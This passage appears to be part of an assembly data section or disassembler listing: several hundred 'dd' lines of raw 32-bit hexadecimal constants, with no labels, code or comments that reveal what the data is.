		dd 0FF6AA200h, 1E66B82Bh, 883008Ch, 0C6B4AD8Dh,	0BD00F391h
		dd 19FF5AEFh, 3886246h,	0B09B82E0h, 0F4D9E212h,	24F5D869h
		dd 0D8AE4B0Eh, 39F2380h, 0FC10B8DCh, 0C69900ADh, 0CBB7B512h
		dd 78717452h, 0E14D210Eh, 802F2056h, 0C27982h, 4BC8A74Ch
		dd 8AE60FDFh, 97596500h, 321B7A84h, 9B8F0064h, 0C06F81C7h
		dd 4B005274h, 0EEC8DA1h, 8A694Eh, 0BA9FFCBh, 6A3E71E2h
		dd 12318E00h, 4C2B845Ch, 0D0DB00D1h, 70D777CAh,	9600BC41h
		dd 8A80A83Dh, 54F0Ah, 0B2ECB9ACh, 44AF1193h, 0E59DFE00h
		dd 0FD8E43F9h, 2C330204h, 8B9989BAh, 0AE9BA840h, 52BDE700h
		dd 816C84Eh, 33A0704h, 50603C1Eh, 914B72D6h, 0F5BA48h
		dd 0F936FF35h, 585CCEB8h, 9900212Bh, 0C664B514h, 0CC00445Fh
		dd 858CF6FDh, 1EA883h, 1BF4362Ch, 0BC252BA6h, 760B8700h
		dd 5A8531CDh, 0CAD401C4h, 60E06A14h, 88DC2084h,	0D5480D7Dh
		dd 0E83B8674h, 995F3846h, 0E0BAB02h, 1F78F2Dh, 0F7C0AE13h
		dd 71A98D4h, 65CCCFE5h,	0EE2D0D5h, 2C0036ECh, 0ABB99BA7h
		dd 90B58F1Eh, 918B80FCh, 0CCCD002Bh, 0C85EA269h, 1E00DC7Bh
		dd 30E0DD72h, 55C5D3h, 9EF2EAB1h, 3592943Fh, 0EBDC5400h
		dd 0AA5D3A20h, 87D40FF1h, 7AC31D6Ah, 71DA3E0Ch,	0C94BF440h
		dd 0AEED4F00h, 98884DFBh, 2BF80034h, 60B2A0FAh,	0EB3C6127h
		dd 99328E16h, 53EEC04Dh, 6DCEF3h, 843BF70Bh, 39665507h
		dd 3F85DA07h, 1020735Ch, 1C547C7Ah, 0C019FA01h,	0AA127FC4h
		dd 8200A94Dh, 9CFFB439h, 148863D6h, 0A89DA135h,	47FC2C51h
		dd 78333A30h, 6A379380h, 0AFCD6E88h, 989AB07Ch,	31E03802h
		dd 60F67C3Dh, 0B260D88h, 720903B4h, 8B0C3400h, 0E2031512h
		dd 870BB397h, 9571051Fh, 4062F96Bh, 5BBB1DE0h, 0AF00DEE6h
		dd 1065C753h, 0E6649DA6h, 0CC1C17AAh, 0C66D0EDBh, 45FA18E0h
		dd 0CD006210h, 0A044DFCAh, 1E2203D0h, 13B4BEh, 0F3FC7424h
		dd 1601CCD3h, 4EA9E95h,	3170E436h, 123B7F94h, 94CFDC9h
		dd 582039DFh, 6101C062h, 20C15D02h, 0C035A90Ch,	11F47Ah
		dd 60CC5379h, 10B6FE8Ch, 488DD000h, 849E18A1h, 0E7DA0055h
		dd 0F4A83788h, 420041CBh, 0BF6CAD3Dh, 13AC25B9h, 40103F75h
		dd 6A7B0E98h, 27000299h, 583AC8A6h, 0E8B24Dh, 821EEB5Ah
		dd 574620B4h, 8C765300h, 0EF11F1C3h, 0BEC8002Fh, 0E7C755FEh
		dd 6D024101h, 5B526927h, 45AD0097h, 53D9838h, 0F74E012Bh
		dd 621DEDE1h, 9A2F2D20h, 587A0088h, 0AE3C9519h,	5707252Ah
		dd 63A34962h, 690D7EA0h, 865B0E55h, 0A56C9CC1h,	340073AEh
		dd 0AC8247FDh, 0E4F04D6Ch, 53C203BEh, 16387156h, 0B586C1E0h
		dd 50E8CC50h, 8F136F00h, 1A0737D9h, 8ADB161Bh, 409C02AEh
		dd 46C091EBh, 52000C93h, 663754D4h, 1B893255h, 4610E9D7h
		dd 6A2ABDE0h, 35078A79h, 0A1150656h, 0BB72E6D0h, 46C50086h
		dd 0EC4E816Dh, 0E307EF10h, 0BF79AA41h, 8CC1B445h, 58308ED1h
		dd 4F7600D3h, 0B6868895h, 0BC008D05h, 0A5AFBBFDh, 1D84D159h
		dd 3B71839Ch, 0C093ED9Fh, 0DF4C32D4h, 3002045h,	0BD6CE274h
		dd 940D42h, 69179CE5h, 0DECD0EF4h, 85A95D00h, 0AEA843Ch
		dd 4FD012C7h, 0A3B70022h, 541887CCh, 40AE8200h,	67600333h
		dd 0CD880017h, 27C0DBB5h, 241CF776h, 0AE40FDBDh, 64316621h
		dd 0BA74C3h, 3AA2F3E0h,	9114F556h, 1FA54358h, 0C9C1AE9Dh
		dd 1830F478h, 1A93CC4h,	6C80D365h, 0D471618Bh, 0DD04D746h
		dd 0D17A1948h, 0A66E00BBh, 2B75BFBAh, 2739E00h,	7D5611B5h
		dd 0C61600D0h, 0DCE02677h, 3203460Ch, 3C2305DEh, 9A6CFB3Fh
		dd 0ED060BCh, 0B7080051h, 0FDDB25E0h, 4101DA43h, 31134A73h
		dd 0F94045F5h, 926302h,	46CCEDB2h, 752B330Fh, 0D6C51B00h
		dd 9DC64797h, 92FE00F4h, 0C01F392Ch, 0DE0B33BCh, 0C55FF9h
		dd 0EC6B382Bh, 0EE6900FEh, 85E17073h, 31000755h, 805445AFh
		dd 305BD9h, 0D15E3E93h,	744CA57Fh, 0EF61D01Dh, 0C2111940h
		dd 7AF7A69h, 0CD47E1E3h, 0EDABF368h, 40D95DD8h,	0A4A8C000h
		dd 3D1CBF0h, 0EE6E0097h, 61361170h, 82ECE0B0h, 21F46650h
		dd 0C65A9F24h, 88F60D01h, 18BA653Bh, 0E3DE0900h, 74E14B95h
		dd 4CA9CD07h, 8DE059E6h, 0DA511Eh, 0E7F2443Ah, 0ED7532ECh
		dd 0C2DEFC00h, 6166CDFEh, 49380035h, 71C00943h,	9A00A237h
		dd 7D2F554h, 2824E021h,	94C718h, 7CCD7855h, 0F010280Ah
		dd 363D101h, 1BA3F202h,	1EE88F8h, 160E759Fh, 0D01E1FCBh
		dd 3E00DFC4h, 0B2D01822h, 104FE4h, 49FC98E7h, 0A59C5BAFh
		dd 0BEC3DC00h, 0BDB506Bh, 66CC0089h, 9711B0CDh,	4576F846h
		dd 0CAC29200h, 61CBC19h, 0A676DBh, 8582352h, 8B77120Ah
		dd 0C12D7800h, 0BAD0556Dh, 0AB4B0043h, 4EA63E98h, 0D800B442h
		dd 8544CB58h, 0C571949h, 3E3C2EA1h, 6C011010h, 0BF0D96B8h
		dd 17CC551Eh, 0D1FA28A7h, 456D0096h, 0EE630744h, 0B00E58Eh
		dd 0C486E635h, 484CA25Ch, 8007F6Ch, 0CE24DC45h,	0FA0023FBh
		dd 3D71B93Ah, 0B7CF51h,	0E23BBB3Eh, 1AE5DCBAh, 0C9984E60h
		dd 1C0F96Ch, 9A58014Fh,	0F8A5803Dh, 316F0951h, 0C05A0FB8h
		dd 0F92899E0h, 0CD850FDFh, 0B48043FFh, 0E294DD11h, 41EAA600h
		dd 9F0CACD4h, 85840501h, 2395D44h, 353FA728h, 24645C20h
		dd 0DD190250h, 3C577AD7h, 674F0881h, 41EDF8BEh,	0FD7C0303h
		dd 0EB07A2E1h, 2840DD95h, 499ACBA9h, 8B51E42h, 0FA40009Dh
		dd 0E4ADF771h, 90F97F31h, 3DD002FCh, 35F2BBh, 30714894h
		dd 0B05B3709h, 0F0DC0500h, 67F3B2A9h, 0BDBA0180h, 68B7E16Dh
		dd 85F8F7DBh, 0FC009CD3h, 49611378h, 0FC2D099Dh, 95250008h
		dd 0C56656B3h, 820748EAh, 3B7F55C9h, 0D047832Eh, 6E81D832h
		dd 9FB200E9h, 56FC04E4h, 0D802EFA9h, 0AE5A5E1Eh, 0F1F0807Dh
		dd 0CA3B06h, 7B909E49h,	0BC4CD599h, 58D0E61Dh, 0F9B04AC0h
		dd 69B3CBh, 834236E9h, 57F89348h, 2C884954h, 0FF01827Ah
		dd 43202194h, 18806EA9h, 53324942h, 0AE000AABh,	0EACEF8B1h
		dd 0CC99E65h, 73A91716h, 106FD529h, 0E0996A9Ah,	5E718A00h
		dd 0E629D3AEh, 0B88E03C9h, 6D9F2EB3h, 79009B83h, 3C509842h
		dd 2DD966Eh, 9C3A1C5Dh
		dd 1083293Dh, 1E5AD08h,	674C9FFCh, 62C7DC5Ah, 0FCA40950h
		dd 5E503C00h, 93BB99CDh, 102EA96h, 0A13A26B0h, 80545660h
		dd 436EC038h, 7EDE74h, 64C790B5h, 0D909938Eh, 0B2DB2E00h
		dd 5B25863Dh, 38F7161h,	826E1816h, 0EDC1BACDh, 49908744h
		dd 43604139h, 0EE4DA090h, 0E5960076h, 133C17FBh, 820E6AB9h
		dd 0E1C048B2h, 73AA9171h, 3FF76E1h, 82611CD1h, 1DA0457Eh
		dd 7903069Ah, 53D1DAACh, 73E80E74h, 43807AB0h, 15F8CFA6h
		dd 0F3E2A000h, 5782D213h, 0D80D3C32h, 3778007Ch, 11657C4Bh
		dd 40005D2Ah, 8C0358D7h, 12EEE76h, 18829980h, 91398A7Dh
		dd 0F9001629h, 61A415B5h, 8F00EB97h, 0ADAF236h,	95C308h
		dd 81168E22h, 0B783DBBAh, 340753E6h, 33878CF5h,	5BFA5F60h
		dd 99F700F8h, 0FC1981BDh, 70003103h, 0F57B79BEh, 0F080B23h
		dd 0BCDE2BDFh, 0E4BA3AE0h, 0A500811Ah, 0AFD8313Ch, 0F22679h
		dd 0C6A2DDE8h, 5F5727C1h, 8B62D200h, 0DE778829h, 0FC360285h
		dd 9EC9FE3Dh, 0E8158481h, 0FB9AC04Fh, 0CEB23Bh,	0B1BF9C49h
		dd 440F970h, 0A1A38577h, 58A880E8h, 0A83EDC09h,	4700042h
		dd 9EF7087Dh, 857079h, 1CDB58FFh, 91B8B0C9h, 1F0B8E1Eh
		dd 0E8626780h, 0FC4EEBBh, 7312F249h, 30DBD6A0h,	3203FB41h
		dd 0E93A4ABEh, 0A23188C6h, 12DF0047h, 0A3BB9029h, 4E0016F9h
		dd 458A9275h, 0A81CFh, 29EE1B2Dh, 0C2F2C7E7h, 98D8F300h
		dd 0E9D02F44h, 40B0003Fh, 13990B46h, 6C009FDAh,	3E2C9BBBh
		dd 6B11Eh, 0CC05A7C6h, 343DFF65h, 0D7AF000h, 1C9DE5CEh
		dd 0B33B2899h, 66E00E2h, 5B68234Eh, 0B400486Dh,	0E522413h
		dd 3C7C52Eh, 35FDE8EDh,	0B6901EAFh, 89FECCF5h, 0FA42E914h
		dd 2F9F0795h, 0A07F6B01h, 7FF20AADh, 723A00B4h,	0D6E8271Ch
		dd 44001EF3h, 20131F19h, 0BED7ADh, 86B230F2h, 988AB592h
		dd 0AE621807h, 0C500255Fh, 0B8F401D2h, 0BD49000Fh, 40FB2C46h
		dd 0B5037CF2h, 896CDDFh, 90100E41h, 31E0FADAh, 45DBD0C5h
		dd 10F7D500h, 0E29B789Dh, 0B67FDDh, 23FCA4A2h, 0AB86DFCEh
		dd 61F63002h, 81F72C70h, 0B9A65684h, 913AB340h,	45D807DCh
		dd 7534DFD4h, 65868039h, 0D005A12h, 3319943Ah, 2C0221h
		dd 2D6AD71Ah, 8522B229h, 65A74701h, 0F0DAB53Dh,	75668440h
		dd 71F90186h, 27C7B712h, 231887EFh, 72502483h, 0F426E6CDh
		dd 81791863h, 0C434E990h, 0BCC74800h, 66B1DEEAh, 0E9E73F6Bh
		dd 325B5D0Eh, 81EF42C0h, 83000569h, 52D32859h, 7ADBDF35h
		dd 747A00EEh, 4D783D29h, 6F007E80h, 15BDAE08h, 0E49532h
		dd 2CD29AC8h, 2BC1492Fh, 3A91D31Eh, 6DB98000h, 49726h
		dd 0A2F1D976h, 0B65B75FAh, 1952AA01h, 0F52FE764h, 70749C40h
		dd 821A00F7h, 7E6A2B25h, 0CB003377h, 36030651h,	32DE57h
		dd 2A2EDA7h, 0C9260731h, 0F609C200h, 3962940Ah,	0BB6800B9h
		dd 0E4E9D844h, 0F97CA97Ah, 12BE3100h, 99EB9C26h, 6CC5034Eh
		dd 0CC4D1E8Eh, 77D8A790h, 59E9F202h, 0C07FE1E2h, 0F8F8727h
		dd 44E79A75h, 0D10E1A4Bh, 64A304E0h, 4C00EEDAh,	1E2EB0ABh
		dd 77F8A31h, 30BD3CACh,	0B1ACBC4Dh, 0AF94DF00h,	29B98150h
		dd 0F46F001Dh, 0FBB5ABD3h, 4DB89685h, 11105300h, 0AA0B240Eh
		dd 0A1C600A3h, 0DF6F8B6h, 31008BDBh, 127DE309h,	6A72BB4h
		dd 7E1AD0FEh, 0BE00B079h, 75D794B0h, 0ACA9D3h, 162A66Ch
		dd 9DFA7E16h, 2C970D1Ch, 853DF142h, 0AFE6404Fh,	0F9A2001Dh
		dd 0CF5AA663h, 4C00C8F7h, 5570BC03h, 712A8537h,	0E3D3003Ch
		dd 38975C2Dh, 3D0013D5h, 0DB41530Dh, 7D2CEA33h,	0A0B61C81h
		dd 56D04059h, 0A5A6B963h, 956D4300h, 5D9C0E2Dh,	4D2F01A0h
		dd 0FE8DAFCDh, 412C700Ah, 0DBE83400h, 820669BCh, 0A78B0042h
		dd 0C53C2993h, 0C1E4A8Ah, 87C0BE92h, 0CF4840C9h, 0EBFCA3h
		dd 0CAD5A1E8h, 0FA49F8A0h, 9B768F00h, 0E1EE6D71h, 2AD8078Dh
		dd 80EDE460h, 0BB949158h, 80BC563Ah, 0EB0F10B9h, 1EE12E98h
		dd 40436B1Dh, 3F6F1462h, 0E2EC323Ch, 88B3F212h,	0E1F0B020h
		dd 992E08Eh, 29215E56h,	988034A2h, 0D79162FFh, 0C04C7761h
		dd 0E50B8C18h, 8094AB2Ah, 86B11024h, 4FD43A84h,	0DF53FC00h
		dd 0BF7E696h, 3973739h,	60D92EC7h, 9DA29093h, 0ADF25Bh
		dd 36E6B8CEh, 33C8FAEEh, 4B273700h, 85E4E759h, 22FCA4h
		dd 0B9BF5C41h, 383CD7C1h, 9F1BB6E6h, 0D8C0ED83h, 3E20E82Dh
		dd 4A0E9406h, 28E7CAEBh, 0E6C7F012h, 46000DD7h,	784E9B29h
		dd 3CA4566h, 0CEF951B1h, 4E8E4EFh, 0EB00C480h, 8A1A7C49h
		dd 0E0CB695h, 96F4C372h, 0B3E20900h, 19096B3Bh,	203726F6h
		dd 0AD116CE0h, 591E073Fh, 47BE6D7Fh, 775D4306h,	0A0E9BA30h
		dd 0DEFDC569h, 0B5710030h, 556F5E86h, 591F8AE8h, 6B0FF188h
		dd 0EDC180ADh, 0E5DC6h,	4263380h, 63BA8C21h, 8AD5B100h
		dd 0C6F90686h, 0ECDE0F5Ch, 58066EBh, 1326238h, 0E3313300h
		dd 0A8A387C2h, 0A2700F0h, 0D6FAF8F4h, 0AE00FB2Bh, 81E4BD63h
		dd 332262h, 827D5BE2h, 53A5E01Ah, 54CE7528h, 860D6B02h
		dd 8057FA63h, 50133A64h, 6A6D3F7Ah, 2AFF018Ch, 0C30C6CC0h
		dd 29E83676h, 0FDA3006Bh, 0C1068DF6h, 46E890C4h, 6FC76A02h
		dd 2F2ACB7h, 0A49134F8h, 4E57E860h, 0B88DCB00h,	205BE9F4h
		dd 59BC003Bh, 0F2EAEB79h, 0DE0C3E18h, 0A8B358AAh, 0FA054CEDh
		dd 4EE3490Eh, 75824820h, 902CEFD2h, 9A0F9944h, 99A2E007h
		dd 54E096h, 0C11340C8h,	77D58205h, 4D2BC300h, 0D1090D0Ch
		dd 0F62F1351h, 0C1621DCDh, 4E1A8E13h, 9F3BD472h, 17A3180Bh
		dd 62D800C0h, 747E0h, 3E33202Ah, 43CC59E7h, 8D051700h
		dd 83815679h, 243600E5h, 0F2E853EAh, 0ED0096E4h, 1EFA7A87h
		dd 13ABE02h, 7E95B7B9h,	0D81BA476h, 88A834CAh, 68000326h
		dd 0B93C6DAAh, 2A56356Ah, 0B0EA0Bh, 287D9A02h, 0BB60A41Eh
		dd 0B134831Eh, 8CB4F44h, 0B8E853h, 640AA861h, 59A951h
		dd 0D74F308Eh, 4EACCBBBh, 1361894Ch, 4005637h, 0CD41EFF8h
		dd 95850CC5h, 9048556Bh, 5EEE6F00h, 0B1AAC071h,	0E3F518A6h
		dd 628086C5h, 0A7067DE0h, 0C110DF18h, 0BCE0A1h,	43D87612h
		dd 6FF9618Dh, 5100B074h, 0A0534E69h, 37E7EBC1h,	2030D9CCh
		dd 0A460A1A3h, 3D1EB86Eh, 5195D700h, 9B867Eh, 9A096B55h
		dd 3381AE1Dh, 8B2ADE00h, 0DA87D7F5h, 0EFC930F7h, 0C477E849h
		dd 0D8889FBh, 10A97Eh, 9A7B5A89h, 2A2D00A3h, 0D1581185h
		dd 2E024E6Ah, 0E0CF03A7h, 0DF049D9Ch, 805CAFE2h, 4177DE08h
		dd 5EE600FDh, 561DB45Dh, 0C0EABF4Bh, 0EA784C18h, 107A2619h
		dd 109F9648h, 5900E98Ch, 0E0C33FE2h, 8C07A04h, 284CBE9Ch
		dd 0E120CCE7h, 581F6E69h, 0EC9C8D84h, 6ADCA100h, 3BFEDDh
		dd 8F19CE17h, 0B54201B7h, 0E2077976h, 5A351638h, 0A5746D80h
		dd 0FE890036h, 2ECE0C7h, 0E81ED8CFh, 2E1EC06Bh,	0DEF10800h
		dd 7B650369h, 8040AB51h, 834326h, 86D09F92h, 6403AA31h
		dd 0C34BEA01h, 8CF7177Fh, 63A8D9CCh, 284C073h, 8DC93Ch
		dd 90AE36EDh, 0E9DB4BEh, 37AB685Ah, 0EA03332Eh,	691922DDh
		dd 0B1F87C9Eh, 0F980F161h, 26A5C343h, 40C3A722h, 0E3E49F03h
		dd 28018098h, 1E8C1FCFh, 1B4C003Bh, 5BE08FA7h, 0C9739703h
		dd 0C982A964h, 0D5F19B2Eh, 0B8F05FF1h, 2A3EE857h, 2ACE393h
		dd 83C01659h, 0E8AFAA2Eh, 0E400606Bh, 122EC6Dh,	0FCF7B12Ah
		dd 20429D06h, 0CC0441Ah
		dd 2174C7D2h, 75176480h, 5502C052h, 8386EF27h, 0FBA6FF98h
		dd 0AC587066h, 3E2E2124h, 14061011h, 18451F0Fh,	58398B00h
		dd 0DC18D224h, 0F7E700A8h, 83A02241h, 0AA0032F1h, 43DFB830h
		dd 91B803Bh, 94657ED2h,	0CD640401h, 0FC80CED0h,	7DF93DC2h
		dd 0F4013AE8h, 0AC32A39h, 1CE01156h, 45B8C065h,	5D5B3BB9h
		dd 0A270CFF8h, 86517CAEh, 4E10EE58h, 0E0A960E2h, 87126991h
		dd 0F326BC15h, 0D0245080h, 1288DB40h, 20BB9760h, 5F268668h
		dd 58752D2Dh, 0E9BC1837h, 0EDC5B062h, 0EBD41100h, 39AC0C2Eh
		dd 1C18C047h, 0C766DD7Eh, 7580348h, 0E13BB2F6h,	0D6CF05C0h
		dd 91BCF2A8h, 0ACEA025Ch, 4C40B1AFh, 7491C283h,	40250F12h
		dd 0F4A2900Ah, 8841FED8h, 5630DB8Eh, 0F86D2134h, 0EC6F491Ch
		dd 9458840Fh, 0D3806787h, 0E045E846h, 87EC40FCh, 4F010928h
		dd 54B318F6h, 344CB26Eh, 4443A2h, 547395B3h, 924EB183h
		dd 0CC6A48A4h, 0EECC700h, 5CE7CC8Ch, 2652C0A8h,	87668400h
		dd 0A8EA9534h, 15F83964h, 248444BEh, 88355973h,	5A03336Ch
		dd 5F6D167Dh, 0B7F8A0DBh, 0E9F7028Ah, 0B9113B1Dh, 80889488h
		dd 530F615Eh, 0B106F683h, 5827C04h, 68D4A0B9h, 7C80A3DDh
		dd 8DB90EF1h, 0F282BD4Ah, 0C49094E9h, 0D8F8F7B6h, 75910303h
		dd 808E7AC8h, 0EA59D64h, 294D6BC0h, 0AE599A83h,	0B80258CBh
		dd 1B3ABEFCh, 8380A02Bh, 24A0200Bh, 8E20017Fh, 6663E74Fh
		dd 81019E97h, 0DC17CC60h, 0A986C8B2h, 482FFC1Ch, 6C6EF20h
		dd 7FE742A1h, 34422822h, 0D3732002h, 5643FC25h,	3B1D6821h
		dd 0B85CD03h, 41E19BD1h, 0F11880E2h, 2382F2B3h,	4E68C3E9h
		dd 0C4C0D466h, 3B008B37h, 92BC2443h, 3D1360CBh,	0CC87FADFh
		dd 0FA224977h, 0E9278020h, 6808787Ah, 3D4B054Ch, 435B03D8h
		dd 0A3CC53h, 0FAC529B0h, 0CB4072Bh, 0C8F6AF3Dh,	0BF2C1418h
		dd 820900DCh, 94A93A89h, 0BEB900A0h, 0B4BAC9E8h, 682658B3h
		dd 388E2827h, 8B896339h, 0AAB0E3B2h, 88AC4271h,	3060E800h
		dd 746B4713h, 960A1F6Ah, 0C91A0BA5h, 0E2447C21h, 4C0BCD5Fh
		dd 4559BEFCh, 0ABEA0010h, 0AC936239h, 94AD0029h, 66F5B3DCh
		dd 20907D40h, 9BDBF307h, 0F7010B9Ch, 30E44CFEh,	8E2C0209h
		dd 0E1046069h, 85E9B098h, 12084A48h, 4056547h, 0B8045123h
		dd 0AC8062F6h, 269FF33Ch, 268C9D60h, 5CEA47D0h,	0BE3004CCh
		dd 0B3D2A9B2h, 36D814FEh, 7F26B029h, 611B00A4h,	0A5C29825h
		dd 4104DF34h, 0F0F3E883h, 4859C0C5h, 24071C01h,	30FAF537h
		dd 6C133B27h, 0F18A069h, 871689B5h, 0B6130ABDh,	0C16BA25Fh
		dd 8434DBF8h, 0EA6D1DB3h, 0AB942A36h, 1EA806E8h, 29D8D6B4h
		dd 28A8B883h, 30C8562Bh, 789C80A7h, 65300FEBh, 1B965E00h
		dd 0D3BA67C2h, 7B1A1CA1h, 7AB947DBh, 0DAA850CAh, 5C0084F7h
		dd 0E68981F3h, 9094A6h,	1A6A40D6h, 4BA3C7D3h, 1B2B3Ah
		dd 432530F8h, 727C19C2h, 1C1500F9h, 0F790B7C0h,	9F021AA5h
		dd 0B65A03A4h, 8BE06508h, 80311F8Dh, 6CE8CA4Ch,	0C2B70E88h
		dd 5C284C1Eh, 0C9A39CA6h, 4A209A4h, 95CC334h, 3891167Ch
		dd 20D3E552h, 5F48048Ch, 95F89068h, 6CB104A0h, 4C0C38Eh
		dd 20B2D56Dh, 0DC26F8A4h, 4442082h, 0CC5E8F40h,	0B214DB0Ch
		dd 1914F710h, 3A515127h, 639768D8h, 26E1B155h, 43ACA050h
		dd 8664E7E2h, 40CCF420h, 2D88024h, 80824CA8h, 40B028C8h
		dd 0E74615F4h, 22604C4Ch, 0FCD249A5h, 38CC7F3Fh, 4D90A909h
		dd 8F942480h, 13095E89h, 0E21874Ch, 0C2652140h,	884D0C45h
		dd 1D000033h, 82CC63A0h, 3E2665BAh, 74A4ACA3h, 90A24960h
		dd 0B387FA7Dh, 0DD00B828h, 9661A9F6h, 3D09C9F7h, 25C2AD14h
		dd 0D0C894ACh, 68294C71h, 573CCEC0h, 642ADCAFh,	2373BCBAh
		dd 0EC45291Ch, 26B65F02h, 50684877h, 0E191043Fh, 0CCF05C75h
		dd 82884124h, 0B07C5948h, 5004453Fh, 0DCBA735Ah, 5940D268h
		dd 0DB9809CEh, 1829EE1Dh, 43DF5024h, 0F9BE9F59h, 84E2A9E7h
		dd 1CA4804Ch, 0A8DB4D68h, 0F8BF2B1Ch, 4072DF02h, 0ECC19BEAh
		dd 615C56A5h, 5D0A9C00h, 0F2F7155Eh, 76200187h,	5990E10Bh
		dd 0FEC024DCh, 709D5F30h, 3C439867h, 0A065A40h,	49CC91DEh
		dd 176D1B04h, 0C8C1A356h, 6C4025D0h, 60863C01h,	8E1C296Eh
		dd 5A1FE1A7h, 0AA450282h, 0BC5F4885h, 4ADFFB05h, 0AA69000h
		dd 0F0745250h, 1808D19Dh, 0DCE0C8F2h, 0E50380C1h, 45F185C4h
		dd 0A24FC0A9h, 0FCBA4CA6h, 0E000E48Bh, 0E3D0613Fh, 38EFDB00h
		dd 0E1C22427h, 83C0055Bh, 0A40C836h, 14C630B8h,	43017499h
		dd 140973C4h, 4090EAC5h, 3B07A21Bh, 4E58B45Bh, 0E572C172h
		dd 8A22BDC4h, 3C00F8B9h, 0C3381B40h, 0B2B7E83Dh, 0EA78F0h
		dd 0C668DEDh, 0BBB3526Ch, 0C4A5CE28h, 8299D100h, 19B14507h
		dd 80755C5Ah, 152E5A58h, 4FE702BCh, 6CC8506Bh, 0A86064D8h
		dd 7F3E2389h, 669E0930h, 2C24AE49h, 4F9481EDh, 0F3F4405Bh
		dd 78612A36h, 44049030h, 9F62720h, 0DA17EA0Bh, 6B43E46Ah
		dd 3804C293h, 37F304B9h, 84369300h, 0B3008267h,	0FB64FEDFh
		dd 0A68F0AA5h, 0B6112108h, 396C3A82h, 0E0F3E384h, 4016Fh
		dd 5A02B98Ch, 0CF98D145h, 82B39900h, 9F93CBBh, 2050FF9Ch
		dd 356C4Ah, 0DE5D0C2Ah,	0BB1766CEh, 9C00B44Bh, 23C294AAh
		dd 5A3A02F2h, 97F8A6FEh, 0B241C50h, 0E09D70B0h,	0DD0DCA92h
		dd 0FC2418CCh, 21E44396h, 8DC562FBh, 20CCB605h,	41A7A52h
		dd 0B2D8F750h, 23209339h, 0A66C0880h, 588DF62Eh, 0A15C6A0Bh
		dd 2A39FCC4h, 86172028h, 178805CAh, 0EED0108Eh,	0B1920C05h
		dd 952C9088h, 0DCA0B9C1h, 9614E211h, 7C90CA2h, 0A7328F84h
		dd 975BDB30h, 64C32C67h, 0A6D806E8h, 0EA2ED817h, 12401041h
		dd 0AA635C87h, 0DCD04194h, 5D733880h, 5838B76Ch, 0EA059EECh
		dd 5CB14D6Bh, 30720832h, 170498F1h, 4C047C5Eh, 0FA020C80h
		dd 49E91CE5h, 0F7F8022Ah, 449CA8C6h, 0D4A21F2Ch, 0C8605851h
		dd 4A861C3Ah, 77C88090h, 0E8C08EBAh, 0E020303h,	21989C56h
		dd 821EA838h, 6B7CFDC2h, 65FC48C4h, 0E1AF0A68h,	87D098A7h
		dd 0C2C0788Eh, 0C07123FDh, 575BF741h, 0CC32D444h, 24B0B619h
		dd 0AEA4E7DEh, 5E370004h, 64C67390h, 0B5B09D54h, 23929400h
		dd 0B61740D2h, 0B8660AF7h, 4508D144h, 7810212Eh, 7C40A88Ah
		dd 8DE1B0A8h, 5EEA86FAh, 0E852C004h, 0D090DBA9h, 0BC3591F8h
		dd 0C35100A0h, 2888130Ch, 403EFC90h, 9452A55Bh,	0AA0E20DCh
		dd 0B4EF1C16h, 0D697A045h, 58CFA803h, 23310776h, 0F0A3C86Ch
		dd 9E79C073h, 3113A5Ch,	34A40183h, 60FC8AC2h, 9844F9B1h
		dd 5E690650h, 6029C9D0h, 0B834160Ch, 7D26839h, 803C0F7h
		dd 6BAFD1EEh, 59B4249Eh, 7588B093h, 0BD011FE6h,	54B1B4A7h
		dd 668420C3h, 13445A49h, 0E0592F1Dh, 0BA026E18h, 2EC1048h
		dd 1DF6AF00h, 0B4C0E342h, 473B003Eh, 0E0FB7DD9h, 3C4CF2CDh
		dd 0DDEC021Ch, 705894EBh, 5EA938C0h, 806C1A2Ch,	8CD605F0h
		dd 0DD317722h, 0FD89024h, 0A588880h, 873275F7h,	61C2A000h
		dd 0A53FE268h, 59E0E136h, 8C0A56Fh, 7101A9CEh, 4E894CECh
		dd 0B04C70h, 289DA885h,	3CB1180Eh, 553826h, 0A0453D12h
		dd 1842C097h, 94C1DE87h, 0D2FE4430h, 4BE0D26h, 10EB8E40h
		dd 66B60079h, 239EAAB1h, 0A20967C5h, 400C7E25h,	1F10888h
		dd 0B409EA7Ah, 3C82CB1Dh, 0D7DD0588h, 14B05C41h, 0C8F501Bh
		dd 0F85A7B5Fh, 4E4A4A9h
		dd 0B2DBC3A3h, 5A28A0DFh, 0ABC100B6h, 3CF20647h, 25B45303h
		dd 0A8BEABFAh, 2D34C1A8h, 0A400022Fh, 0A2F54DF6h, 0C9D85955h
		dd 0DE084045h, 42173797h, 0AC2314F3h, 0A6C1C83Eh, 14AF7103h
		dd 0FC390A35h, 44CFEA1Dh, 88976667h, 9C24B9A4h,	0B809FCC0h
		dd 0A6C50011h, 4D4455ECh, 0CD0CFCDCh, 0C098A85Ah, 0C13065F8h
		dd 770F185Bh, 185FE8E5h, 0D8929984h, 0A85BCFC7h, 0C5183C18h
		dd 0D8528293h, 0FDB47E09h, 5018015Eh, 9450BD84h, 6095AC08h
		dd 2891855h, 9B545956h,	0BA703CB0h, 0C249049h, 8412035h
		dd 0E9B8A82Bh, 0C1CE0A7h, 4C91EE10h, 2E954750h,	65D5E0B4h
		dd 61FADEh, 2A3890F1h, 358873B9h, 96113A00h, 0B1DF7FBDh
		dd 0D6D1889Ah, 48429130h, 39A8D765h, 3AB02DF6h,	7A0A5CF9h
		dd 481AD338h, 0F638030Eh, 0B4D8986Bh, 40EDCF80h, 7DBD0AF4h
		dd 38827F19h, 0BC6B5487h, 0C7C3751Fh, 0BFF2C0A6h, 6D732A46h
		dd 7B395001h, 62B43606h, 17C6D30h, 16CFEE9Bh, 0EBE57F6Bh
		dd 34D04000h, 0F074B1E0h, 0B9A3071Ch, 46A2B4D7h, 91032126h
		dd 917B141h, 4C589884h,	0C269114Dh, 23720054h, 11213AD8h
		dd 0CE2C007Bh, 6A09DBF1h, 0D0674385h, 79163B28h, 6FE0631h
		dd 0A80B4A40h, 0E1C6680Eh, 0E930F867h, 29840CBCh, 9C38CFE8h
		dd 130A7507h, 74A1F9B4h, 8BCFBC9h, 0FC20D1B0h, 2000A6Ch
		dd 0FA71D2F1h, 60693486h, 0E23B4083h, 7F032F58h, 9966EEA9h
		dd 54800073h, 627C95CBh, 180C8B03h, 882FA05h, 204260D6h
		dd 0A77C01B8h, 0C00EF900h, 8B4429FEh, 0D44107E1h, 0F07E5DBCh
		dd 46857717h, 22927D07h, 5462CC62h, 0E10C402Ch,	0FAA100D5h
		dd 0B67DB3C2h, 770070E6h, 4F237A88h, 3B1EC684h,	0F7800941h
